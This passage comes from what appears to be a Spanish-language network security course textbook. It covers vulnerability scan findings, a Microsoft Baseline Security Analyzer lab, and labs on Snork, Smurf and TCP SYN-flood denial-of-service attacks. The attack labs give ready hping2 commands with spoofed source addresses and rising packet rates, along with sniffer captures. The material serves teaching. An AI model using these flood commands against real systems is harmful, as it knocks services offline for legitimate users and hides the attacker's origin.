seguridad

Descripcin

Factor
riesgo

de Problema: El cgi perl puede ser lanzado por un usuario Alto


malintencionado y quedaria con los permisos del usuario
que lanzo el servidor apache.
Solucion: Se debe remover el programa perl del directorio
/cgi-bin

129

de

Parte II, Captulo 3 Anlisis de Vulnerabilidades de red

Puerto

Severidad

Descripcin

Factor
riesgo

Web(80)

Warning

Problema: El directorio /doc es explorable


Solucion: Restringir el acceso con el comando Directory.

Alto

Ssh(22)

Hueco
seguridad

de Problema: Una version del servidor ssh anterior a la Alto


version 3.2.1 esta instalada y se cree que existe una
vulnerabilidad en la administracion de buffers que
permite al atacante ejecutar comandos en forma
arbitraria.
Solucion: Se debe actualizar a una version mas reciente o
parchar la actual

Netbiosssn(139)

Hueco
seguridad

de Problema: Una sesion NULL puede tener accso al recurso Alto


IPC$ con permisos de lectura y escritura
Solucion: En el explorador de windowsNTelija boton
derecho en cada carpeta y elija permisos para denegarlo.

de

Este es una parte del archivo del reporte para leer en nessus:
timestamps|||scan_start|Fri Jan 27 12:05:31 2006|
timestamps||127.0.0.1|host_start|Fri Jan 27 12:05:31 2006|
results|127.0.0|127.0.0.1|sunrpc (111/tcp)|10223|Security Note|\nThe RPC portmapper is running on this
port.\n\nAn attacker may use it to enumerate your list\nof RPC services. We recommend you filter
traffic\ngoing to this port.\n\nRisk factor : Low\nCVE : CAN-1999-0632, CVE-1999-0189\nBID : 205\n
results|127.0.0|127.0.0.1|microsoft-ds (445/tcp)|11011|Security Note|A CIFS server is running on this
port\n
results|127.0.0|127.0.0.1|netbios-ssn (139/tcp)|11011|Security Note|An SMB server is running on this
port\n

Fin del laboratorio

130

Parte II, Captulo 3 Anlisis de Vulnerabilidades de red

10.2

Laboratorio: Microsoft Baseline Security Analyzer

Se debe hacer exploracin de vulnerabilidades a un servidor Windows ultima versin y es deseable que el
servidor Windows este con suplementos a la fecha.
Se recomienda usar una maquina virtual para emular los diferentes sistemas operativos.
Prerrequisitos: Instalar la herramienta MBSA (Microsoft Baseline Security Analyzer) en la mquina
virtual Windows.
Se puede descargar desde la siguiente URL:
http://www.microsoft.com/technet/security/tools/mbsa2/default.mspx

Figura 3-14: Pantalla de inicio de Microsft Baseline Security Analyzer

Paso 1: Ejecute MBSA localmente y comente tanto el funcionamiento de la herramienta como el resultado
obtenido. Note que la herramienta indica los posibles errores y agujeros de seguridad del servidor y en la
mayora de los casos indica cmo solucionarlos. Observe que no se limita a la seguridad del sistema
operativo, sino que adems busca vulnerabilidades en otras aplicaciones servidor de Microsoft como IIS o
SQL.
Se inicia el programa MBSA y se debe diligenciar el campo de la maquina a explorar, para este caso es la
maquina local.
Ahora se da inicio a la exploracin de vulnerabilidades haciendo click en la opcin Start scan:
Al terminar genera un reporte que se muestra en pantalla as:

Figura 3-15: Pantalla de vulnerabilidades encontradas en Microsft Baseline Security Analyzer

131

Parte II, Captulo 3 Anlisis de Vulnerabilidades de red

Revisemos los estados de las diferentes alertas o avisos que genera el reporte:

Este smbolo significa que paso la revisin

Este smbolo significa que se recomienda implementar

: Este smbolo significa que es informacin adicional

Este smbolo significa que es una falla no crtica

Este smbolo significa que es una falla crtica.

Figura 3-16: Diferentes tipos de alertas en Microsft Baseline Security Analyzer

Bien ahora pasemos a comentar el resultado obtenido de la exploracin:

Figura 3-17: Datos del IP explorado por Microsft Baseline Security Analyzer

Figura 3-18: Enumeracin de usuarios encontrado por Microsft Baseline Security Analyzer
En esta parte de vulnerabilidades administrativas en nuestro primer dato nos indica que hay una falla critica
referente a restringir annimos, nos indica que Windows esta corriendo en un nivel cero (0) y que lo correcto
debera ser un nivel dos (2).

132

Parte II, Captulo 3 Anlisis de Vulnerabilidades de red

Figura 3-19: Cuentas de usuarios que no expiran encontrado por Microsft Baseline Security Analyzer
En esta parte de expiracin de claves nos indica que existen de 2 a 7 claves que no tienen configurado
tiempo de expiracin y nos lista los usuarios que en nuestro caso son cinco, y es una falla no critica.

Figura 3-20: Configuracin de actualizaciones no activada encontrado por Microsft Baseline Security Analyzer
Aqu nos indica que Windows no tiene configurado la parte de actualizaciones automticas y nos indica que
por panel de control podemos habilitarlo, y es una falla no crtica.

Figura 3-21: Configuracin de firewall no activada encontrado por Microsft Baseline Security Analyzer
En esta parte nos indica que Windows no tiene un firewall instalado o que tiene una versin que no soporta,
y recomienda implementar un firewall dentro del servidor.

Figura 3-22: Actualizaciones incompletas no encontradas por Microsft Baseline Security Analyzer
Aqu en actualizaciones incompletas nos indica que no encontr ninguna instalacin de actualizaciones
incompleta.

Figura 3-23: Cuentas de usuarios sin claves encontrado por Microsft Baseline Security Analyzer
En esta prueba de cuentas locales, las 7 cuentas pasaron la prueba y muestran la seal que paso la revisin.

Figura 3-24: Busqueda de sistemas de archivos inseguros encontrado por Microsft Baseline Security Analyzer
Aqu nos indica en la parte de File System que los discos estn usando NTFS y que esto es correcto.

Figura 3-25: Configuracin de cuenta de inivtado encontrado por Microsft Baseline Security Analyzer

133

Parte II, Captulo 3 Anlisis de Vulnerabilidades de red

En esta parte de cuentas de invitados me indica que esta opcin esta deshabilitada en Windows y que esto
es correcto.

Figura 3-26: Configuracin de cuenta para autenticarse en forma automtica encontrado por Microsft
Baseline Security Analyzer
Aqu me indica que la parte de autologon en Windows no esta configurada y que esto es correcto.

Figura 3-27: Configuracin de cuenta administradores encontrado por Microsft Baseline Security Analyzer
En la parte de administradores me indica que no hay ms de 2 cuentas administradoras y por consiguiente
es correcto.

Figura 3-28: Version del sistema operativo encontrado por Microsft Baseline Security Analyzer
En esta seccin de Informacin adicional del sistema, el primer tem nos indica a modo de informacin que el
sistema operativo es Windows 2000 o superior.

Figura 3-29: Estado de la Auditora para eventos de entrada y salida de usuarios encontrado por Microsft
Baseline Security Analyzer
En esta parte de auditoria recomiendan habilitarla, para verificar los logs que se generen mediante el
monitor de eventos y as poder controlar accesos indebidos.

Figura 3-30: Recursos compartidos encontrado por Microsft Baseline Security Analyzer
En este item de compartir, ha manera de informacin nos indica que hay dos directorios que Windows esta
compartiendo.

Figura 3-31: Servicios que no son necesarios encontrado por Microsft Baseline Security Analyzer
En la parte de servicios recomienda que los cuatro servicios que lista son innecesarios y por consiguiente
seria bueno deshabilitarlos.

134

Parte II, Captulo 3 Anlisis de Vulnerabilidades de red

Figura 3-32: Aplicaciones de servidor web vulnerables encontrado por Microsft Baseline Security Analyzer
En esta seccin de administracin de vulnerabilidades, el item de ejemplos de aplicaciones, nos dice que
algunos ejemplos de aplicaciones de IIS se encuentran instalados y toma esto como una falla critica.

Figura 3-33: Directorios de las aplicaciones web inseguras encontrado por Microsft Baseline Security
Analyzer
Aqu nos indica que algunas rutas de alta jerarqua estn habilitadas en algunos sitios web o directorios
virtuales, y nos muestra un listado de dichos sitios. Por consiguiente esto lo toma como una falla critica.

Figura 3-34: IIS Lockdown


En este tem de IIS Lockdown Tool, nos dice que esta aplicacin no esta corriendo en la maquina y por
consiguiente lo cataloga como falla critica.

Figura 3-35: MSADC


Aqu nos indica que el directorio virtual MSADC fue encontrado en al menos uno o mas sitios Web y esto lo
cataloga como una falla no critica.

Figura 3-36: Directorio virtual IISADMIN

135

Parte II, Captulo 3 Anlisis de Vulnerabilidades de red

En este tem de Administracin de directorios virtuales de IIS, nos indica que el directorio virtual
IISADMPWD no esta presente y cataloga esto como correcto.

Figura 3-37: Controlador de dominios


En esta seccin de informacin adicional del sistema, este tem nos indica que ISS no esta corriendo en un
controlador de dominio y recomienda que sea as.

Figura 3-38: Bitacora de seguimiento IIS


Aqu en este tem de IIS Logging Enable, nos indica que hay dos sitios Web y un ftp que no estn usando
las opciones recomendadas para claves, y recomienda en tal caso que se implementen dichas opciones.

Figura 3-39: SQL server no instalado en el servidor


En esta ultima parte nos indica que SQL Server no esta instalado por consiguiente no se realizo ninguna
revisin.

Figura 3-40: Aplicaciones de escritorio inseguras


Ahora en la parte de Vulnerabilidades administrativas, en el tem de Zonas de Internet nos indica que hay
una falla critica ya que el usuario administrador no tiene el nivel de seguridad apropiado ya que esta en
Custom y debera estar en High, adems la opcin de Scripts ActiveX controls marked safe for scripting esta
enable y debera estar en Disable.
Por ultimo nos dice que no existen productos de Office Instalados.

Paso 2: Ejecutar la aplicacin contra la mquina virtual Linux o cualquier otra mquina Linux y comentar el
resultado.
Pasamos a ejecutar la aplicacin a nuestro servidor Linux 192.168.3.7

136

Parte II, Captulo 3 Anlisis de Vulnerabilidades de red

Se genera el siguiente error:

Figura 3-41: MBSA no puede analizar un sistema que no sea Microsoft


Si se prueba varias veces realizando la exploracin a la maquina virtual Linux se notara que esta no funciona
para sistemas diferentes a Microsoft.
Fin del laboratorio

137

Parte II, Captulo 3 Anlisis de Vulnerabilidades de red

11.0

Evaluacin del Modulo

11.1

Cul es la diferencia entre vulnerabilidad y exploit?

11.2

Qu es una vulnerabilidad 0 days?

11.3

Defina exploit?

11.4

Defina openvas?

12. Bibliografa Relacionada

Open Source penetration testing and security professional double CD, Syngress Publishing, Jay
Beale, 2006
Nessus, snort and ethereal power tools, Neil Archibald, Gilbert Ramirez, Noam Rathaus, and Josh
Burke, 2005

138

Captulo 4
Tcnicas bsicas de ataques
Objetivos:

Define un ataque de denegacin de servicio

Profundizar en el ataque snork

Profundizar en el ataque smurf

Profundizar en el ataque synflood

Profundizar en un ataque con exploits

Conocer las estrategias de ataques de red

1.0

ATAQUES DE DENEGACION DE SERVICIOS

Un ataque de denegacin de servicio es un incidente en el cual un usuario o una organizacin son privados
de los servicios de un recurso que esperaba obtener. Se dene Denegacion de Servicio o ataque DoS
como la imposibilidad de acceder a un recurso o servicio por parte de un usuario legtimo. Es decir, la
apropiacin exclusiva de un recurso o servicio con la intencin de evitar cualquier acceso a terceras partes.
Los ataques de denegacin de servicio pueden ser provocados por usuarios internos y usuarios externos, los
usuarios internos generalmente son usuarios con pocos conocimientos que pueden colapsar el sistema o
servicio en forma inconsciente. Los usuarios externos generalmente son usuarios que han conseguido acceso
al sistema de forma ilegtima, falseando la direccin de origen con el propsito de evitar la deteccin.
Es increble la cantidad de cdigo fuente existente en Internet que puede ser usado para profundizar
acadmicamente en el tema de la negacin de servicios y en general en la inseguridad informtica por
ejemplo:

1.1

http://excluded.wgv.at/index2.php
http://www.metasploit.org/

Ataque DoS Snork:

El protocolo IP define un sistema de pruebas simple que permite verificar el funcionamiento del protocolo de
comunicaciones. El sistema proporcionado por IP se basa en el envo de un datagrama especial al
computador destino, que lo reconoce y enva una respuesta al origen (ECHO REPLY), el protocolo IP define
para estas pruebas simples un servicio para la recepcin de un datagrama UDP al puerto 7 (ECHO).
Por otro lado, existe un servicio proporcionado en muchos sistemas operativos tipo UNIX y Windows
denominado CHARGEN (CHARacter GENerator, generador de caracteres) que dada una peticin responde con
una secuencia aleatoria de caracteres.

139

Parte II, Captulo 4 Tcnicas bsicas de ataques

Este servicio Chargen se encuentra disponible escuchando en el puerto 19 a datagramas de tipo UDP, en
sistemas Windows de tipo servidor se suele utilizar el puerto 135 (Microsoft Locator Service) para el ataque
snork.
El ataque consiste en cruzar ambos servicios enviando una peticin falsa al servicio CHARGEN (que retorna
una secuencia de caracteres pseudo-aleatoria) falseando la direccin de origen dando como puerto de
respuesta el puerto ECHO (que responde a cualquier peticin) de la mquina a atacar. De esta forma, se
inicia un juego de ping pong infinito.
Este ataque puede realizarse entre varios computadores (consumiendo ancho de banda y degradando el
rendimiento de la red) o desde un mismo computador (l mismo se enva una peticin y el mismo se
responde) consiguiendo consumir los recursos existentes (especialmente CPU y memoria) de la mquina
atacada.

1.2

Diagrama de las comunicaciones

Figura 4-1: Diagrama Snork


Las dos mquinas exploradas son vulnerables a este ataque debido a una vulnerabilidad en el diseo de la
capa IP, el protocolo IP tiene como mecanismo de autenticacin el IP de origen, entonces si alguien logra
cambiar el IP es decir hacer sniff entonces el protocolo IP no se dar cuenta. Adems la informacin viaja
como texto en claro.

1.3

Laboratorio: El ataque Snork

1.3.1

Prerrequisitos:

En versiones antiguas de linux para habilitar los servicios echo y chargen se debe editar el archivo
/etc/inetd.conf y quitar el signo comentarios # de las lineas echo y chargen, luego se debe reiniciar el
servicio inetd con el comando /etc/init.d/inetd stop y /etc/init.d/inetd start, y se verifica con status.
Los Linux mas modernos en cambio del archivo de configuracin /etc/inetd.conf usan archivos con el nombre
del servicio y estn en el directorio /etc/xinetd.d/, en este directorio existen archivos que representan los
servicios de red, en estos archivos existe una variable llamada disable que debe ser igual a la palabra no
para habilitar el servicio, luego se debe reiniciar el servicio xinetd con el comando /etc/init.d/xinetd stop y
/etc/init.d/xinetd start.

Entonces el servicio echo estara en la maquina 10.30.30.15 en el archivo /etc/xinetd.d/echo-udp y se vera


as:
service echo
{
type
id
socket_type
protocol = udp
user

= INTERNAL UNLISTED
= echo-dgram
= dgram
= root

140

Parte II, Captulo 4 Tcnicas bsicas de ataques

wait
disable = no
port
FLAGS

= yes
=7
= IPv6 IPv4

El servicio chargen estara en la maquina 10.30.30.30 en el archivo /etc/xinetd.d/chargen-udp y se vera as:


service chargen
{
type
id
socket_type
protocol = udp
user
wait
disable = no
port
FLAGS
}

= INTERNAL UNLISTED
= chargen-dgram
= dgram
= root
= yes
= 19
= IPv6 IPv4

Nota: Haga lo mismo para los puertos tcp. Reinicie el servicio


# /etc/init.d/xinetd stop
# /etc/init.d/xinetd start

1.3.2

Problema:

Suponga que estamos usando una mquina que se halla en una LAN con la direccin de red 10.30.0.0/16.
Usando Nmap, nos hemos percatado que hay una mquina con IP 10.30.15.15 donde est funcionando el
servicio UDP/ECHO y otra con IP 10.30.30.30 donde est funcionando el servicio UDP/CHARGEN.
1) Indique los comandos Nmap que utilizara para explorar los servicios UDP de las mquinas 10.30.15.15 y
10.30.30.30.
Respuesta:
# nmap -sU 10.30.15.15 (servicio ECHO)
Starting nmap 3.81 ( http://www.insecure.org/nmap/ ) at 2006-03-30 20:19 COT
Interesting ports on 10.30.15.15:
(The 1472 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
7/udp open echo
19/udp open chargen
111/udp open|filtered rpcbind
631/udp open|filtered unknown
988/udp open|filtered unknown
32768/udp open|filtered omad
Nmap finished: 1 IP address (1 host up) scanned in 1.765 seconds

# nmap -sU 10.30.30.30 (servicio CHARGEN)


Starting nmap 3.81 ( http://www.insecure.org/nmap/ ) at 2006-03-30 29:21 COT
Interesting ports on 10.30.30.30:
(The 1472 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
7/udp open echo
19/udp open chargen
111/udp open|filtered rpcbind
631/udp open|filtered unknown

141

Parte II, Captulo 4 Tcnicas bsicas de ataques

988/udp open|filtered unknown


32768/udp open|filtered omad
Nmap finished: 1 IP address (1 host up) scanned in 1.843 seconds
Se puede apreciar el servicio echo en el puerto 7 de tipo UDP y aparece el servicio chargen en el puerto 19
de tipo UDP y ambos puertos estn abiertos en las respectivas maquinas.
Nota:
Si quisiera ver los mismos servicios pero TCP cual seria el comando?

1.3.3

Comando para hacer el ataque:

Ahora Explicamos los parmetros con los que llamaramos al comando hping2 a nuestra mquina para
enviar un paquete UDP que genere el bucle infinito entre 10.30.15.15 y 10.30.30.30
PC_Lanzadera = SERVICIO ECHO = 10.30.15.15, puerto 7
Vctima = SERVICIO CHARGEN = 10.30.30.30, puerto 19
hping2 --udp --baseport 19 --destport 7 --keep -a Vctima PC_Lanzadera
Aclaremos que primero desde la maquina atacante debo enviar una peticin UDP al servicio ECHO de la
maquina Lanzadera, puerto destino (7), pero con puerto UDP fuente Chargen (19) e IP fuente de la vctima,
entonces el servicio ECHO me responder al puerto fuente Chargen (19) de la Vctima, la maquina vctima
generara los caracteres aleatorios hacia la maquina Lanzadera que a su vez le har echo hacia la vctima y
ya tenemos el loop, entonces el comando concreto seria:
hping2 --udp --baseport 19 --destport 7 --keep -a 10.30.30.30 10.30.15.15

1.3.4

Descripcin de Parmetros para el comando de ataque hping2:

# hping2 --udp --baseport 19 --destport 7 --keep -a 10.30.30.30 10.30.15.15


Parmetro
10.30.15.15

Descripcin
IP del PC que se usara de lanzadera para atacar a la
vctima
IP de la vctima, campo de la IP fuente del paquete
IP, ac se hace el IP spoof
Esto indica que el protocolo que se usara es UDP

-a 10.30.30.30
--udp
--keep -a
--destport

No permite que el puerto origen y destino se


incrementen en forma numrica
Puerto destino

--baseport

Puerto Fuente

1.3.5

Pruebas del ataque:

Al poner un sniffer en la vctima 10.30.30.30 en la interfase eth0, veremos el trfico:


# tcpdump i eth0 -l
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
21:48:31.146042
21:48:32.145315
21:48:33.146147
21:48:34.147136
21:48:35.148124

IP
IP
IP
IP
IP

10.30.15.15.echo
10.30.15.15.echo
10.30.15.15.echo
10.30.15.15.echo
10.30.15.15.echo

>
>
>
>
>

10.30.30.30.chargen:
10.30.30.30.chargen:
10.30.30.30.chargen:
10.30.30.30.chargen:
10.30.30.30.chargen:

142

UDP,
UDP,
UDP,
UDP,
UDP,

length
length
length
length
length

0
0
0
0
0

Parte II, Captulo 4 Tcnicas bsicas de ataques

21:48:36.144881 arp who-has 10.30.30.30 tell 10.30.15.15


21:48:36.144904 arp reply 10.30.30.30 is-at 00:12:3f:08:df:5b
21:48:37.148966 IP 10.30.15.15.echo > 10.30.30.30.chargen: UDP,
21:48:37.149978 IP 10.30.15.15.echo > 10.30.30.30.chargen: UDP,
21:48:38.150845 IP 10.30.15.15.echo > 10.30.30.30.chargen: UDP,
21:48:39.151663 IP 10.30.15.15.echo > 10.30.30.30.chargen: UDP,
21:48:40.152550 IP 10.30.15.15.echo > 10.30.30.30.chargen: UDP,
21:48:41.153470 IP 10.30.15.15.echo > 10.30.30.30.chargen: UDP,
21:48:42.154340 IP 10.30.15.15.echo > 10.30.30.30.chargen: UDP,
21:48:43.155226 IP 10.30.15.15.echo > 10.30.30.30.chargen: UDP,
21:48:44.156182 IP 10.30.15.15.echo > 10.30.30.30.chargen: UDP,
21:48:45.157252 IP 10.30.15.15.echo > 10.30.30.30.chargen: UDP,
17 packets captured
17 packets received by filter
0 packets dropped by kernel

length
length
length
length
length
length
length
length
length
length

0
0
0
0
0
0
0
0
0
0

Se puede concluir que se requieren varias mquinas para tumbar la maquina vctima.

1.3.6

Que requisitos deben cumplirse para que el ataque sea efectivo?

Respuesta:

2.0

Si el servidor esta blindado y estos servicios no estn operativos el ataque no tendr efecto.
Si hay un firewall por delante de estos servicios que detengan el ataque entonces este ataque no
tendr efecto
Si el atacante cesa el ataque el ataque no seguir funcionando.

Ataque Smurf

El ataque "Smurf" pertenece a la familia de ataques conocidos como Denial of Services (DoS), los cuales
tienen como objetivo principal dejar fuera de servicio a la mquina que se ataca. Es una variante del ataque
IP Flooding.
"Smurf" ataca una red explotando el direccionamiento broadcast del protocolo IP. El ataque Smurf puede
causar que la parte atacada de la red se vuelva inoperable, tomando caractersticas del protocolo IP y el
protocolo de Control de Mensajes en Internet (ICMP). Un programa que implemente "Smurf" emplea otra
tcnica de hacking conocida con el nombre de IP Spoofing la cual tiene por objetivo suplantar la direccin
IP de otra mquina, en particular Smurf construye un paquete de red en el cual cambia el encabezado del
mismo colocando como direccin origen la de la mquina a atacar. El paquete contiene un mensaje ICMP
(ping) que es enviado a una direccin broadcast, o sea, a todas las direcciones IP de una red dada. Dichas
mquinas generan las respuestas del ping (echo reply) que son enviadas a la direccin de la vctima.
Suficientes pings y un buen nmero de respuestas de diferentes mquinas pueden inundar la red hacindola
inoperable.
Resumiendo, tenemos que Smurf maneja tres elementos diferentes que trabajando entre si generan el
ataque, estos son:
misma
1)
Uso
de
ICMP
(Internet
Control
Messaging
Protocol),
normalmente
de
la
manera que el ping. El propsito original de este protocolo es el de enviar y retornar mensajes de error, en
particular "ping" chequea que una mquina especfica este viva.
2) IP (Internet Protocol), el cual es usado por los usuarios para enviar cualquier paquete/mensaje en
Internet. Por ejemplo se pueden enviar paquetes a una "direccin broadcast".
3) Cambio de direccin origen, se manipula el encabezado del paquete ICMP cambiando la direccin origen
del mismo para que de esta manera las respuestas se generen hacia dicha direccin.
Si por ejemplo, una persona logra ejecutar un ataque "smurf" por intermedio de una red (con su IP
broadcast habilitado) que tiene 40 computadores, un solo mensaje ping crear 40 respuestas. Es decir, que
un usuario con un modem de 28.8 kbps, podra generar un trfico de (28.8 * 40)kbps o 1552 kbps, cerca de
2/3 de una lnea T1.

143

Parte II, Captulo 4 Tcnicas bsicas de ataques

2.1

Diagrama de conexiones

Figura 4-2: Diagrama Smurf

2.2

Componentes del ataque

El ataque "smurf" tiene tres componentes principales:


1 El Atacante: es la persona que crea los paquetes ICMP con la IP fuente falsa y lanza el ataque.
2 El Intermediario: la red amplificadora del paquete ICMP con su direccionamiento broadcast habilitado.
3 La Vctima: su direccin IP ha sido suplantada para que las respuestas ICMP sean enviadas a ella. Se debe
anotar que el intermediario tambin puede convertirse en vctima.

2.3

Estructura de un Ataque SMURF en el Trfico de Red

Desde el punto de vista del atacante, smurf genera un trfico de red del siguiente estilo:
00:00:05
00:00:05
00:00:05
00:00:05
00:00:05
00:00:05
00:00:05

victima.net
victima.net
victima.net
victima.net
victima.net
victima.net
victima.net

>
>
>
>
>
>
>

192.168.105.255:
192.168.100.255:
192.168.104.255:
192.168.104.0:
192.168.105.255:
192.168.105.0:
192.168.106.255:

icmp:
icmp:
icmp:
icmp:
icmp:
icmp:
icmp:

echo
echo
echo
echo
echo
echo
echo

request
request
request
request
request
request
request

Ac se puede observar que se realizan varios icmp echo request a diferentes direcciones broadcast que en
este caso particular se encuentran en una misma red, dichos paquetes llevan como direccin origen
victima.net que ser la mquina vctima.
Cada uno de estos paquetes icmp echo reply tienen una estructura particular, los cuales vistos a travs de
TCPDUMP nos permite dar el siguiente ejemplo:
04:19:31.800000 1.2.3.4 > 192.168.5.5: icmp: echo reply (DF)
4500 0028 b5cb 4000 fe01 b229 0102 0304
c0a8 0505 0000 bc9c bf3c f001 0018 f81b
000d d5f0 000d 63e8 0000 0000 0000

144

Parte II, Captulo 4 Tcnicas bsicas de ataques

En Internet se pueden encontrar diferentes programas ya implementados sobre todo en lenguaje C que
aplican y ejecutan este tipo de ataque. El comando mas utilizado para estos ataques es hping2.

2.4

Laboratorio: El ataque Smurf

2.4.1

Problema:

Suponiendo que nos encontramos en la red del apartado anterior, miremos la instruccin hping2 que se
usara para lanzar un ataque smurf contra la maquina vctima 10.30.45.45
2.4.2

La instruccin para el ataque se ejecutara as:

# hping2 10.30.255.255 --spoof 10.30.45.45 --icmp C --icmp-request y V d 56

2.4.3

Descripcin de los Parmetros:

Parmetro
10.30.255.255

-spoof 10.30.30.45

--icmp
-C o --icmp-request

-y
-V
-d 56

Descripcin
Red que se usara como medio para atacar a la
maquina, es el campo destino del paquete
IP, el
objetivo es hacerle echo-request a cada una de las
maquinas de la red.
IP de la maquina a atacar, campo de la IP fuente del
paquete IP, a esta IP las maquinas de la red le
enviaran un icmp-reply hasta saturarla y colapsarla.
Indica el protocolo que se usara, en este caso es
icmp
Indica el tipo de paquete ICMP, para este caso icmprequest que es el defecto. Por favor no use ambas
opciones pues el comando fallara.
Indica que no fragmente los paquetes
Muestra informacin adicional de lo que esta
ocurriendo
Tamao de los datos a enviar, 56 es el estndar del
comando ping

Ahora pruebe enviando mas paquetes por segundo y observe el rendimiento:


# hping2 10.30.255.255 --spoof 10.30.45.45 --icmp --icmp-request y V d 56 i u1000000, para 1
paquete por segundo
# hping2 10.30.255.255 --spoof 10.30.45.45 --icmp --icmp-request y V d 56
paquetes por segundo

-i u500000, para 2

# hping2 10.30.255.255 --spoof 10.30.45.45 --icmp --icmp-request y V d 56


paquetes por segundo (*)

-i u333333, para 3

# hping2 10.30.255.255 --spoof 10.30.45.45 --icmp --icmp-request y V d 56 i u250000, para 4


paquetes por segundo (*)
# hping2 10.30.255.255 --spoof 10.30.45.45 --icmp --icmp-request y V d 56 i u200000, para 5
paquetes por segundo (*)
# hping2 10.30.255.255 --spoof 10.30.45.45 --icmp --icmp-request y V d 56 i u100000, para 10
paquetes por segundo (*)
# hping2 10.30.255.255 --spoof 10.30.45.45 --icmp --icmp-request y V d 56 i u10000, para 100

145

Parte II, Captulo 4 Tcnicas bsicas de ataques

paquetes por segundo (*)


Para 500 paquetes por segundo cual seria el parametro i ux ?, es decir cuanto vale x, donde x son los
microsegundos?

2.4.7

Que requisitos deben cumplirse para que el ataque sea efectivo?

Respuesta:

2.4.5

Deben existir varias maquinas en la red de tal forma que todas respondan con icmp-reply a la
vctima hasta inundarla
Si el servidor esta blindado para no responder a los paquetes icmp-request este ataque no tendr
efecto.
Debe inundarse la red con muchos paquetes por segundo para que el ataque sea efectivo.

El sniffer debe detectar el trfico de la siguiente forma:

# tcpdump -i eth0 -l
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on lo, link-type EN10MB (Ethernet), capture size 96 bytes

19:07:27.299129 00:e0:bb:04:46:5f > 00:e0:bb:00:00:00, ethertype Unknown (0x8868), length 246:


0x0000: 4855 00e0 bb04 465f 2f91 0001 0001 0000 HU....F_/.......
0x0010: 0000 0013 80b3 ffff 0000 00cc 0118 0700 ................
0x0020: 1234 5678 0000 0000 0300 0003 8110 0f02 .4Vx............
0x0030: 0000 0000 0000 0236 0722 001f 0001 0000 .......6."......
0x0040: 00e0 bb04 465f 0001 0002 0000 0000 0000 ....F_..........
0x0050: 0000
..
19:07:27.307636 00:e0:bb:00:b8:56 > 01:e0:bb:00:00:15, ethertype Unknown (0x8868), length 230:
0x0000: 4841 00e0 bb00 b856 80b3 0000 ffff 0002 HA.....V........
0x0010: 0001 0100 8a2b 7e7d 7d7e fefe fefe 7e7e .....+~}}~....~~
0x0020: ff7f 7e7f fffe feff feff 7fff fefe feff ..~.............
0x0030: 7ffe 7fff fe7e 7eff ff7f 7e7d 7eff ffff .....~~...~}~...
0x0040: 7e7e fffe fefe 7f7e 7f7e 7e7d 7d7f fefe ~~.....~.~~}}...
0x0050: feff
..
19:07:27.355643 00:e0:bb:00:b8:36 > 01:e0:bb:01:00:17, ethertype Unknown (0x8868), length 230:
0x0000: 4841 00e0 bb00 b856 80b3 0000 ffff 0002 HA.....V........
0x0010: 0001 0100 8a2d fffe 7f7e 7d7d 7e7e 7fff .....-...~}}~~..
0x0020: 7fff ff7e 7f7f 7f7f fefe fefe fffe fefe ...~............
0x0030: fefe ff7f 7fff fe7e 7eff ffff 7e7e 7e7d .......~~...~~~}
0x0040: 7e7e 7e7e 7f7f 7f7f 7e7f fffe fe7f 7e7f ~~~~....~.....~.
0x0050: ffff
..
2848 packets captured
6026 packets received by filter
3177 packets dropped by kernel

3.0

Ataque TCP/SYN Flooding

El ataque TCP/SYN Flooding se basa en no completar intencionalmente el protocolo de intercambio TCP para
inundar la cola de espera. La vctima se queda esperando por establecer un servicio pues el atacante no
responde con ACK los SYN/ACK de la vctima, esto ocurre hasta saturar los recursos de memoria y as
consigue la denegacin de servicios de la vctima.
La denegacin de servicios se da por que el sistema
generalmente es 1 minuto para aceptar mas conexiones,
temporizador de 1 minuto, cuando se excede el limite
mantiene el estado de la conexin y la cuenta de la cola de

esta a la espera de que baje el umbral que


cada conexin generada por un SYN, tienen un
de tiempo o umbral, se libera la memoria que
servicios se disminuye en 1.

Es importante aclarar que el atacante debe usar un IP falso para que no le hagan seguimiento a las
conexiones.

146

Parte II, Captulo 4 Tcnicas bsicas de ataques

3.1

Diagrama del ataque TCP/SYN Flooding

Origen
IP=1.2.3.4  SYN
IP=1.2.3.4 SYN/ACK
Nunca responde con ACK
Se repite la secuencia de requerimiento
Cualquier IP cliente pide servicio al servidor

Destino
IP=10.30.30.45
IP=10.30.30.45
El IP=10.30.30.45 guarda en la cola la peticin de
conexin por 1 minuto
El IP=10.30.30.45 se satura por tanto requerimiento
encolado y ocurre el DoS
El IP=10.30.30.45 no puede atender requerimientos
pues esta en medio de un ataque DoS. Solamente
cuando cese el ataque automticamente se atienden
los requerimientos de los clientes

3.2

Laboratorio: Ataque TCP/SYN Flooding

3.2.1

La instruccin para el ataque se ejecutara as:

# hping2 10.30.30.45 -rand-source S -destport 80 -faster --debug w 2048

3.2.2

Descripcin de los Parmetros:

Parmetro
10.30.30.45

Descripcin
IP de la Vctima

--rand-source

IP ficticio o spoofed, se genera aleatorio, la idea es


que no exista en la red, al no existir este no
responde y as el atacante pasa inadvertido

--debug
-S

Muestra cada intento


Indica el flag S o SYN para solicitar un servico

--destport

Indica el servicio requerido, es clave que este


servicio este habilitado en la vctima
Hace el intento de envio de SYN lo mas rapido que
se pueda
La ventana de envo mximo ser 2048

--faster
-w 2048

Ahora pruebe enviando mas paquetes por segundo y observe el rendimiento:


# hping2 10.30.30.45 -rand-source S -destport 80 -faster --debug w 2048
-i u1000000, para 1 paquete por segundo
# hping2 10.30.30.45 -rand-source S -destport 80 -faster --debug w 2048
-i u500000, para 2 paquetes por segundo
# hping2 10.30.30.45 -rand-source S -destport 80 -faster --debug w 2048
-i u333333, para 3 paquetes por segundo (*)

147

Parte II, Captulo 4 Tcnicas bsicas de ataques

# hping2 10.30.30.45 -rand-source S -destport 80 -faster --debug w 2048


-i u250000, para 4 paquetes por segundo (*)
# hping2 10.30.30.45 -rand-source S -destport 80 -faster --debug w 2048
-i u200000, para 5 paquetes por segundo (*)
# hping2 10.30.30.45 -rand-source S -destport 80 -faster --debug w 2048
-i u100000, para 10 paquetes por segundo (*)
# hping2 10.30.30.45 -rand-source S -destport 80 -faster --debug w 2048
-i u10000, para 100 paquetes por segundo (*)

3.2.3

Que requisitos deben cumplirse para que el ataque sea efectivo?

Respuesta:

3.2.4

Si el servidor esta blindado con un firewall que sea stateful entonces el servidor vctima ser capaz
